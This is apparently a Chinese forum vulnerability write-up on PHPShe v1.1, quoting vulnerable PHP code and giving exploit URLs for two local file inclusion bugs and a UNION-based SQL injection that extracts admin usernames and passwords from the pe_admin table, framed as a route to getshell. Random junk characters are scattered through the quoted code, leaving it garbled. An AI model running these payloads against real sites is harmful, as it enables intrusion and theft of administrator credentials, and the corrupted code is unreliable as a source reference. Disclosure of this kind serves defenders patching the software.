phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
/* Phpshe v1.1 Vulnerability
" j1 [$ T" s+ N5 L/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输

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//common.php
if (get_magic_quotes_gpc()) {
4 c0 C; E  d( o: D" G4 C!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
  _* X1 K4 p0 N; q; P  N$ d& Y!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
0 ?8 ~. a$ {8 X+ P* selse {
# }4 `  E9 t7 K, k$ y5 D. M4 C!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
0 H: S, l* A* @! \) V: C* Z!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
" N* o; _$ }0 t& K5 F6 g- P1 E- j!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
1 Z1 X7 n( ^4 m6 X# a# D# w
6 \! J, l. @9 E* u& V0×01 包含漏洞
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2 {/ _! K; O6 V1 `$ E//首页文件
+ I' I% ]/ i+ t( I- p& l$ x0 o  L<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
, }8 r' E8 `% v% E, ninclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
* B5 l) t# ]) L% h4 Bpe_result();
; \' T; W1 m8 _! o3 u7 N?>
/ _$ {9 e" c0 m! W  g1 L//common 文件 第15行开始
url路由配置
$module = $mod = $act = 'index';
4 t7 r: O  r7 A/ {& x7 R$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
7 C8 o- u& {  G$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

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0×02 搜索注入
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$ D1 Q7 q+ S+ k3 O/ K<code id="code2">

//product.php文件
6 `! R. M8 w$ n$ l, _case 'list':
- ~+ B# I. x' ~# T) h& a$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
9 ~' c) }' p* W: G5 l  U//搜索
4 M( x$ o* p+ F4 K; ~: O' v! P$sqlwhere = " and `product_state` = 1";
/ U+ _2 B$ i' ~  s7 Q9 r. wpe_lead('hook/category.hook.php');
$ |% n" |7 q. p+ ^6 Kif ($category_id) {
+ |* a0 ^9 V4 I$ Xwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
/ N  I7 ^5 `" }$ p( j' w# X; kif ($_g_orderby) {
4 W6 d% A" _& @$orderby = explode('_', $_g_orderby);
, N! j! V# H  C$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
! k3 B8 l! C' C( M+ F  b}
2 B# t% _% q* Ielse {
+ y. d( ?, w0 O: W/ c3 @7 \$sqlwhere .= " order by `product_id` desc";
# u3 N+ v7 z( W9 P  \% w& L}
# c& r* `4 Y6 @1 h6 ~7 }3 N$ Q$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
) {7 j; m: F! a* q3 u2 H//热卖排行
9 q) e0 `+ v$ W9 c2 [6 C6 I$product_hotlist = product_hotlist();
//当前路径
( _  A1 v4 X0 B+ [4 g8 j4 ?$nowpath = category_path($category_id);
! a- T0 R7 K/ I. \- y$seo = pe_seo($info['category_name']);
/ U4 b' X4 a8 m6 E/ P) Rinclude(pe_tpl('product_list.html'));
5 F% u: }& t; L9 R' l//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
2 j6 Z3 X/ r! @; n" breturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
: d) p( W6 G3 |5 Y, Y2 Tproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

0×03 包含漏洞2
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<code id="code3">

//order.php

case 'pay':

1 Z/ O9 g9 f2 D9 X9 ~$order_id = pe_dbhold($_g_id);

6 L; U1 l# r" S9 w$cache_payway = cache::get('payway');

9 l& G- ~& a, e5 p" Q8 X8 xforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

; H- j0 @% @; Nif (isset($_p_pesubmit)) {

2 |' f" z7 q1 X) v' r) ?/ @! Fif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

! y: g6 x% S7 V! u0 _foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
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}

echo '正在为您连接支付网站，请稍后...';

$ ]8 V# @8 j+ d$ u1 R- ]include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

. J# F7 ?* ~2 c$ H3 G% f8 X( h/ `}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

pe_error('支付错误...');

}

) n* C, n% y6 |) }}

$seo = pe_seo('选择支付方式');

( C: M. v) t% r7 Q! N) _* v6 N& sinclude(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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